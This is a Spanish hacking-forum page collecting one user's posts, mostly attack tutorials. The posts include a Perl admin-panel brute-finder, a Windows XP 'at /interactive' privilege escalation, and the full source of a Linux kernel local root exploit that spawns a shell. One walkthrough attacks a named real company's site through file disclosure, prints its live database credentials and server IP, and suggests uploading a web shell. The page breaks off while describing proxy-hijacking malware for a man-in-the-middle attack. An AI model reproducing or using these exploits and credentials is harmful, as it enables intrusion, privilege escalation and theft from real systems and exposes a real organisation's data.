Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Muppet

#321
Igual cambiar contraseñas y ese tipo de cosas es de lammer opino yo, este contenido es teoricamente educativo, no es por armar conflicto pero no creo q este bueno apelar a esas cosas
#322
Back-end / Re:[PHP Shell] Poison Shell 0.7
Junio 25, 2012, 11:41:35 PM
Muy buen aporte se agradece!
#323
Buen aporte! ya casi nadie codea sus propias herramientas! felicitaciones!
#324
Gracias por el dato!
#325
Aca tienes un Tuto que Arme para Explicar como Encontrar el AdminPanel Abrazo

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

HD_Breaker
#326
Como Encontrar el AdminPanel

Dado a un post que lei me decidi a hacer estre breve tutorial,

Existen Varias Formas de Encontrar un AdminPanel, una muy buena es buscar dentro del archivo Robots.txt y ver si el directorio de Administracion se cuentra en el.

Ej

User-agent: *
Crawl-delay: 10

Disallow: /petition-tool/
Disallow: /?q=petition-tool/
Disallow: /*_escaped_fragment_
Disallow: /*_escaped_fragment_=/petition/
Disallow: /*_escaped_fragment_=/petitions/
Disallow: /petitions/!/petitions
Disallow: /?q=petitions/!/petitions/
Disallow: /petitions
Disallow: /search*
Disallow: /?q=search*
Disallow: /*.xml$
Disallow: /?q=ondcp/2013strategycomments
Disallow: /ondcp/2013strategycomments
Disallow: /admincp

User-agent: imo-google-robot-intelink
Disallow: /

Sitemap: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Aca como podemos ver dentro del contenido de robots.txt se cuentra la direccion del admin panel: /admincp

Otra Forma es Utilizar herramientas como Nikto q ademas de analizar los fallos del sitio en cuestion, tambien busca los directorios default de posible lectura, Nikto se utiliza con la siguiente sentencia desde la Shell

sudo ./Nikto.pl -h No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Esto realizara un analisis de todas las Vulnerabilidades y Directorios encontradas por Nikto

Otra Forma es Utilizando DirBuster:



Donde dice Target Url deberemos colocar el protocolo y el puerto al que se le realizara el BruteForce de los Directorios
y en donde dice File whit list of dir, colocaremos un "Diccionario" de Directorios, por ej "Directory-list-2.3-small.txt
y le damos en Start. Tambien podremos Utilizar Simplemente Google con una sentencia como esta:

inurl:/*admin*.php site:www.rondinerh.com.ar

site:"aca colocamos el sitio en el cual buscamos el AdminPanel"




Tambien se puede usar algun Script q busque el AdminPanel

Aca el Source de uno (El Source no es mio y esta codeado en Perl):


Código: perl
#!/usr/bin/perl

##
#  By GlaDiaT0R
#  Admin Control Panel Finder   ___   Version 1 
# Home: Darkgh0st.com
##

use HTTP::Request;
use LWP::UserAgent;

system('cls');
system('title Admin Control Panel Finder v1 final I[C]oded by Gladiator from H4ckCr3w.net');

print"\n";
print "-----------------------------------------------\n" ;
print "[*]--Admin Control Panel Finder v 1 --------[*]\n" ;
print "[*]-------------Coded By GlaDiaT0R----------[*]\n" ;
print "[*]-------------From Darkgh0st.com---------[*]\n" ;
print "[*]------------Greetz to Allah--------------[*]\n" ;
print "*******************************************\n" ;
print "\n";

print "~# enter site to scan\n* ex: www.domaine.com ou www.domaine.com/path\n-> ";
$site=<STDIN>;
chomp $site;

print "\n";
print "~ Enter coding language of the website \n* ex: asp, php, cfm\n-> ";
$code=<STDIN>;
chomp($code);

if ( $site !~ /^http:/ ) {
$site = 'http://' . $site;
}
if ( $site !~ /\/$/ ) {
$site = $site . '/';
}
print "\n";

print "->Le site: $site\n";
print "->Source du site: $code\n";
print "->Scan de l'admin control panel en cours...\n\n\n";

if($code eq "asp"){

@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html'
);

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}




# -------------------------------------------------------
# -------------------test cfm ---------------------------|
# -------------------------------------------------------





if($code eq "cfm"){

@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm',
'admin_area/admin.cfm','admin_area/login.cfm','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm','admin/cp.cfm','cp.cfm',
'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm','administrator/login.cfm',
'moderator/admin.cfm','controlpanel.cfm','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.cfm','user.html','admincp/index.cfm','admincp/login.cfm','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','webadmin.cfm','webadmin/index.cfm',
'webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/login.cfm','adminLogin.cfm',
'admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cfm','admin-login.html',
'panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.cfm','administrator/index.cfm',
'admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','adm/index.cfm',
'adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html'
);

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}





# -------------------------------------------------------
#--------------------------/test-------------------------|
# -------------------------------------------------------


if($code eq "php"){

@path2=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
);

foreach $ways(@path2){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
kill("STOP",NULL);
}

##
# By GlaDiaT0R
##



Renuncia: Este tutoria es con fines Educativos, Cualquier uso Indevido del mismo Corre bajo la entera responsabilidad del actor.
#327
Por Supuesto q las ahi querido amigo!!! podrias utilizar alguna virtualbox con un sistema vulnerable por ej Sauron de Dragon Jar, o DVWA
aca la web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Abrazo!
#328
Como dice el Post eso es una forma de evitar el fallo, si estubieramos con un usuario limitado primero deberiamos aplicar algun metodo para poder subir nuestros privilegios, tanto con un keylogger, Metasploit, etc.
#329
JAJAJJAJAJ Recordé leer por el foro un coment que decía No ahí lugar para Cursilerias en el Underground Abrazo me fui a dormir!
#330
Antes q nada, no olvidar que todos somos parte de Underc0de y brindamos nuestro conocimiento tanto como nos nutrimos del de los demás, todos podemos tener errores, considero q el aporte de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es de conflagración de un exploit que estando adaptado puede tener algún fallo, la idea de remarcar el error es q todos aprendamos donde esta y cual es la forma de corregirlo, no humillar...
#331
Gracias por dar esa informacion, realmente no se si su nombre correcto sea Full Source Disclosure en el momento (ya hace algunos años atras) q lo aprendi lo aprendi bajo ese nombre.
#332
Escalar Privilegios Localmente desde CMD Windows XP

Esto funciona en un entorno donde multiples Usuarios Utilizan el mismo pc y nosotros poseemos acceso a uno de ellos
Me decidi a Postiarlo aunq seguramente Muchos ya lo conocen porq no lo encontre en la seccion Windows.

Empecemos:

Abrimos cmd.exe y ejecutamos el siguiente codigo

at "time" /interactive cmd.exe

Este comando crea un proceso q se ejecutara a cierta hora,
el fallo esta en q el paramentro /interactive ejecuta el proceso con permisos de System

luego con el comando Time podremos setear la hora del reloj a la q establecimos previamente Ej:

at 00:33 /interactive cmd.exe



Ahora seteamos el clock a 00:33

Time 21:33



vemos como una consola aparece corriendo como System,
ahora lo entretenido cerraremos explorer.exe del usuario anterior y lo abriremos como System

taskkill /IM explorer.exe
explorer.exe




Vemos como Ahora podemos explorar de forma grafica el Disco Siendo System, esto nos permite
ir a X:\Document and Settings y entrar en la carpeta de Cualquier Usuario (de otra forma estariamos limitados a nuestra Carpeta Personal)
y copiar informacion sensible q necesitemos





Renuncia: El contenido de este Tutorial es puramente educativo, y todo uso mal intencionado correra bajo la responsabilidad del actor

PD: Es una tecnica muy vieja pero hasta el dia de hoy existen empresas con este fallo, poniendo en compromiso la informacion de sus usuarios.

Existen Diferentes Metodos para evitar este fallo, el mas comun es limitar el uso de los comandos at y time a usuarios de mayor privilegio.
#333
Navegando en mi pc, encontre un Source de un exploit q da root de manera locan en Linux Kernel <= 2.6.37 como no vi nada publicado me decidi a postearlo (esta probado por mi)

Aca el Source:
Código: text

/*
* Linux Kernel <= 2.6.37 local privilege escalation
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc full-nelson.c -o full-nelson
* ./full-nelson
*
* This exploit leverages three vulnerabilities to get root, all of which were
* discovered by Nelson Elhage:
*
* CVE-2010-4258
* -------------
* This is the interesting one, and the reason I wrote this exploit.  If a
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
* word will be written to a user-specified pointer when that thread exits.
* This write is done using put_user(), which ensures the provided destination
* resides in valid userspace by invoking access_ok().  However, Nelson
* discovered that when the kernel performs an address limit override via
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
* etc.), this override is not reverted before calling put_user() in the exit
* path, allowing a user to write a NULL word to an arbitrary kernel address.
* Note that this issue requires an additional vulnerability to trigger.
*
* CVE-2010-3849
* -------------
* This is a NULL pointer dereference in the Econet protocol.  By itself, it's
* fairly benign as a local denial-of-service.  It's a perfect candidate to
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
* subsequently calls sendmsg under KERNEL_DS.
*
* CVE-2010-3850
* -------------
* I wouldn't be able to reach the NULL pointer dereference and trigger the
* OOPS if users weren't able to assign Econet addresses to arbitrary
* interfaces due to a missing capabilities check.
*
* In the interest of public safety, this exploit was specifically designed to
* be limited:
*
*  * The particular symbols I resolve are not exported on Slackware or Debian
*  * Red Hat does not support Econet by default
*  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
*    Debian
*
* However, the important issue, CVE-2010-4258, affects everyone, and it would
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
* more sophisticated version of this that doesn't have the roadblocks I put in
* to prevent abuse by script kiddies.
*
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
*
* NOTE: the exploit process will deadlock and stay in a zombie state after you
* exit your root shell because the Econet thread OOPSes while holding the
* Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
*
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
*/

#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

/* How many bytes should we clear in our
* function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[512];
        struct utsname ver;
        int ret;
        int rep = 0;
        int oldstyle = 0;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL)
                        goto fallback;
                oldstyle = 1;
        }

repeat:
        ret = 0;
        while(ret != EOF) {
                if (!oldstyle)
                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
                else {
                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                        if (ret == 2) {
                                char *p;
                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                        continue;
                                p = strrchr(sname, '_');
                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                                        p = p - 4;
                                        while (p > (char *)sname && *(p - 1) == '_')
                                                p--;
                                        *p = '\0';
                                }
                        }
                }
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :
"");
                        fclose(f);
                        return addr;
                }
        }

        fclose(f);
        if (rep)
                return 0;
fallback:
        uname(&ver);
        if (strncmp(ver.release, "2.6", 3))
                oldstyle = 1;
        sprintf(sname, "/boot/System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL)
                return 0;
        rep = 1;
        goto repeat;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

        commit_creds(prepare_kernel_cred(0));
        return -1;

}

/* Why do I do this?  Because on x86-64, the address of
* commit_creds and prepare_kernel_cred are loaded relative
* to rip, which means I can't just copy the above payload
* into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{

#ifdef __x86_64__
        asm("mov $getroot, %rax; call *%rax;");
#else
        asm("mov $getroot, %eax; call *%eax;");
#endif

}

/* Triggers a NULL pointer dereference in econet_sendmsg
* via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
        int ret;
        struct ifreq ifr;

        memset(&ifr, 0, sizeof(ifr));
        strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);

        ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);

        if(ret < 0) {
                printf("[*] Failed to set Econet address.\n");
                return -1;
        }

        splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
        splice(fildes[0], NULL, fildes[2], NULL, 128, 0);

        /* Shouldn't get here... */
        exit(0);
}

int main(int argc, char * argv[])
{
        unsigned long econet_ops, econet_ioctl, target, landing;
        int fildes[4], pid;
        void * newstack, * payload;

        /* Create file descriptors now so there are two
           references to them after cloning...otherwise
           the child will never return because it
           deadlocks when trying to unlock various
           mutexes after OOPSing */
        pipe(fildes);
        fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
        fildes[3] = open("/dev/zero", O_RDONLY);

        if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
                printf("[*] Failed to open file descriptors.\n");
                return -1;
        }

        /* Resolve addresses of relevant symbols */
        printf("[*] Resolving kernel addresses...\n");
        econet_ioctl = get_kernel_sym("econet_ioctl");
        econet_ops = get_kernel_sym("econet_ops");
        commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
        prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

        if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
                printf("[*] Failed to resolve kernel symbols.\n");
                return -1;
        }

        if(!(newstack = malloc(65536))) {
                printf("[*] Failed to allocate memory.\n");
                return -1;
        }

        printf("[*] Calculating target...\n");
        target = econet_ops + 10 * sizeof(void *) - OFFSET;

        /* Clear the higher bits */
        landing = econet_ioctl << SHIFT >> SHIFT;

        payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
                       PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

        if ((long)payload == -1) {
                printf("[*] Failed to mmap() at target address.\n");
                return -1;
        }

        memcpy((void *)landing, &trampoline, 1024);

        clone((int (*)(void *))trigger,
              (void *)((unsigned long)newstack + 65536),
              CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
              &fildes, NULL, NULL, target);

        sleep(1);

        printf("[*] Triggering payload...\n");
        ioctl(fildes[2], 0, NULL);

        if(getuid()) {
                printf("[*] Exploit failed to get root.\n");
                return -1;
        }

        printf("[*] Got root!\n");
        execl("/bin/sh", "/bin/sh", NULL);
}


HD_Breaker
#334
Hacking / Re:Ataque Man in the Middle Remotamente
Junio 22, 2012, 09:57:23 PM
Gracias por su apoyo! seguire posteando tutos! abrazo a toda la Familia de Underc0de
#335
Muy Bien Explicado!
#336
Full Source Disclosure

Para realizar este tutorial necesitamos enteder el concepto de LFI (Local File Inclution)
LFI es un error de programacion en php bastante comun donde se permite incluir dentro del codigo php
de la web afectada, el codigo de otra q este en el mismo Dominio. EJ

Include.php

<?php
$pagina = $_GET['pagina'];
include($pagina);
?>

En este Breve surce se describe una falla LFI en el Parametro $pagina donde se puede llamar al contenido de otra pagina
y posterior mente incluirla en su source atraves de include().
como se puede ver este parametro se puede llamar desde la url, de la siguiente manera.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

esto incluiria el contenido del archivo passwd y lo haria visible dentro de la pagina Include.php


El Full Source Disclosure funciona de forma similar ya que incluiremos un archivo dentro de una pagina php de descarga,
y de esta forma analisaremos detalladamente el source en nuestra pc buscando informacion sensible

Un Dork Comun para buscar una web vulnerable es:

inurl:download.php?file=* site:.com.ar

Buscamos un objetivo y probamos si es vulnerable, en mi caso elegi:

www.latinrisk.com.ar/download.php?file=doc/brochure-esp-final.pdf



copiamos la url y sustituimos el archivo brochure-esp-final.pdf por download.php

www.latinrisk.com.ar/download.php?file=download.php



y vemos como download.php es descargado a nuestro disco duro, analisemos su contenido



Como Podremos Distingir esta la clasica falla LFI en su Source

$file = basename($_GET['file']);

Esto es lo q nos va a permitir llevar a cabo nuestro ataque. Proseguimos
Dado que podemos descargar contenido al q no tenemos acceso desde, nuestro querido download.php?file=
empesaremos a descargar paginas con contenido importante, Ej.

Descargaremos el archivo index.php y analizaremos su contenido




Como podremos Apreciar dentro del source de index.php encontraremos el archivo de configuracion inc_loader.php

<? include ('inc_loader.php'); ?>

Descargemoslo y analisemos el Source!




Como Podremos ver en el Source encontraremos incluidas varios Archivos de Configuracion.

include('inc/connect.php');
include('inc/func_std.php');
include('inc/sanitize.php');
include('inc_variables.php');

El q nos interesa es inc/connect.php

Nuevamente Descargamos y analizamos

)


Como veremos en su codigo empesamos a distingir sentencias q hacen referencia a la configuracion de MySql
ademas distinguimos en el principo del Suorce q se incluye el archivo config.php, Debe ser Interesante su contenido.

include_once('config.php');

Descargemos y analisemos!!! (se tiene q respetar el directorio dentro del q nos encontramos por lo tanto la ruta a incluir es inc/config.php)




Y como por arte de magia podemos divisar los usuarios y contraseñas de MySql tanto Locales como remotos

if ($_SERVER['HTTP_HOST'] == 'localhost' || $_SERVER['HTTP_HOST'] == 'server.lan')
{
   $config['mysqlhost'] = 'localhost';
   $config['mysqluser'] = 'root';
   $config['mysqlpass'] = '';
   $config['mysqldb']   = 'db_latinrisk';
   $_URL = 'http://server.lan/latinrisk/web/';
}
else
{
//   $config['mysqlhost'] = '190.228.29.68';
   $config['mysqlhost'] = '192.168.0.170';
   $config['mysqluser'] = 'user_latinrisk';
   $config['mysqlpass'] = 'Jwe9UoL6';
   $config['mysqldb']   = 'db_latinrisk';
   $_URL = 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
}

Ahora nos fijamos si la web Posee phpmyadmin:



Tristemente la web no tiene phpmyadmin :( pero como somos algo intrepidos y sabemos analisar el codigo vemos q el servidor MySql
es accesible desde la siguiente ip Publica 190.228.29.68 con Usuario "user_latinrisk" y password "Jwe9UoL6"
aca la imaginacion del hacker, existen varios metodos para acceder remotamente a una base de datos, yo por mi parto Utilizare MySqlNavigaitor
(Demas esta decir q el puerto defautl de Coneccion a un servidor MySql es 3306)

Llenamos los campos Correctamente y damos en Fire :)



Podemos ver las bases de datos que se encuentran en el sitio No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (empresa q se dedica a "Solventar Vulnerabilidades Informaticas a Empresas" XD)



nos vamos a db_latinrisk/gral_admin y nos encontraremos con los 2 usuarios mas poderosos de esta web



Solo queda Desencryptar la pass en md5 de alguno de los 2 usuarios y tendremos acceso al AdminPanel de LatinRisk

Para los Peresosos:

admin a4be08c8f9378e32a2ffad1ab48d3e6 (lr1120)

Buscamos el AdminPanel con la tecnica q uds mas Prefieran y llegamos a la siguiente direccion

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Ingresamos los datos correspondientes y damos click en Ingresar (Recomiendo usar algun metodo de Anonimato)
y podremos apreciar lo siguiente:



Solo queda Bypassear algun Upload de Imagenes y subir nuestra phpshell

Renuncia: Este Contenido es puramente Educativo, y todo uso indebido de el, corre bajo la total responsabilidad del actor.

HD_Breaker

Tengan Concideracion en las imagenes es un verdadero Parto Subir una por una todas las imagenes sino hubiera terminado el tuto antes Abrasos Underc0de!!!
#337
Hacking / Ataque Man in the Middle Remotamente
Junio 22, 2012, 04:53:09 AM
Ataque Man in the Middle Remotamente

Bueno en este tutorial voy a explicar una forma muy facil de realizar un ataque MIM de forma Remota
me decidi a postearlo porq no he leido en ningun foro como realizar esta facil operacion

Necesitaremos 2 cosas

1) Proxy Paros en su ultima version
2) Algun Lenguaje de Programacion
(para hacerlo de forma rapida decidi hacerlo bajo batch aunq se puede desarrollar en otro lenguaje)

Primero q nada Abrimos algun Puerto en Nuetro Modem yo elegi uno alto por ej 9669
Instalamos Proxy Paros, y nos vamos al apartado Tools/Options/Local Proxy
en Adress colocamos el ip de nuestra pc que brindara el servicio de proxy
y en Port el puerto donde correra el Servicio, en este caso 9669
Una ves configurado Paros Proxy nos vamos a programar nuestro malware


Para Lograr editar el proxy atraves de un batch en Firefox, debemos entender q la configuracion de proxys en Firefox se guarda en el archivo prefs.js
Ubicado en C:\Documents and Settings\"USUARIO"\Datos de programa\Mozilla\Firefox\Profiles\0sx27c3l.default\

0sx27c3l.default es un directorio que variara dependiendo de la version y la pc donde se instale Firefox

Sabiendo esto nos toca Crear un prefs.js q contenga la configuracion de Proxy con la IP Publica y puerto de la pc q corre Paros Proxy

Aca el Source del mismo:


# Mozilla User Preferences

/* Do not edit this file.
*
* If you make changes to this file while the application is running,
* the changes will be overwritten when the application exits.
*
* To make a manual change to preferences, you can visit the URL No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
* For more information, see No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*/

user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1325582074);
